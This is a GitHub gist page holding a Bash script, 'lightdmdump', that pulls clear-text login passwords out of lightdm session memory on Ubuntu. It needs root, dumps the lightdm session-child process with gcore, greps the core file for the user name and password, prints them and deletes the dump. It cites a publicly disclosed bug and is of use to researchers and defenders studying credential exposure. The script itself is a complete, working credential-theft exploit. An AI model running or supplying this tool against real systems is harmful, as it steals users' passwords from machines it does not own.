Skip to content

Instantly share code, notes, and snippets.

@bcoles
Created March 11, 2018 05:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bcoles/7d22615a3355bae8ebd6373c9d476548 to your computer and use it in GitHub Desktop.
Save bcoles/7d22615a3355bae8ebd6373c9d476548 to your computer and use it in GitHub Desktop.
Dump clear text passwords from lightdm sessions on Ubuntu
#!/bin/bash
# lightdmdump
# ---
# Dump clear text passwords from lightdm sessions on Ubuntu
# Requires root privileges to dump lightdm process memory
# Tested on Ubuntu 14.04.1 LTS and 16.04.4 LTS
# ---
# Bug discovered by: Sven Blumenstein
# Disclosure date: 2017-09-15
# Source: https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1717490
# Exploit: bcoles
# ---
# # ./lightdmdump
# USER=test
# PASSWORD=secretpw
# ---
set -euo pipefail
IFS=$'\n\t'
fatal() { echo -e "\\033[1;31m[FATAL]\\033[0m $*"; exit 1 ; }
is_root () {
if [ "${EUID}" -ne 0 ] ; then
fatal "This script must be run as root"
fi
}
find_pid () {
PID=$(ps ax | grep lightdm | grep session-child | cut -d\ -f2)
if [ -z "$PID" ] ; then
fatal "Could not find lightdm PID"
fi
#echo "Found lightdm PID: ${PID}"
}
dump_mem () {
gcore ${PID} > /dev/null 2>&1
CORE="core.${PID}"
if [ ! -f "${CORE}" ] ; then
fatal "Could not dump lightdm process memory"
fi
#echo "Dumped PID ${PID} process memory to ${CORE}"
}
dump_creds () {
USER=$(strings "${CORE}" | grep -E "^USER=(.*)$" | head -n 1)
PASSWORD=$(strings "${CORE}" | egrep "^_pammodutil_getspnam_.*_2\$" -A 1 | tail -n 1)
if [ -z $PASSWORD ] ; then
echo "Could not find password"
else
echo "${USER}"
echo "PASSWORD=${PASSWORD}"
fi
}
cleanup () { rm "${CORE}" ; }
main () {
is_root
find_pid
dump_mem
trap cleanup EXIT
dump_creds
}
main "$@"
@bcoles
Copy link
Author

bcoles commented Mar 12, 2018

Note: mileage may vary. See mimipenguin instead.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment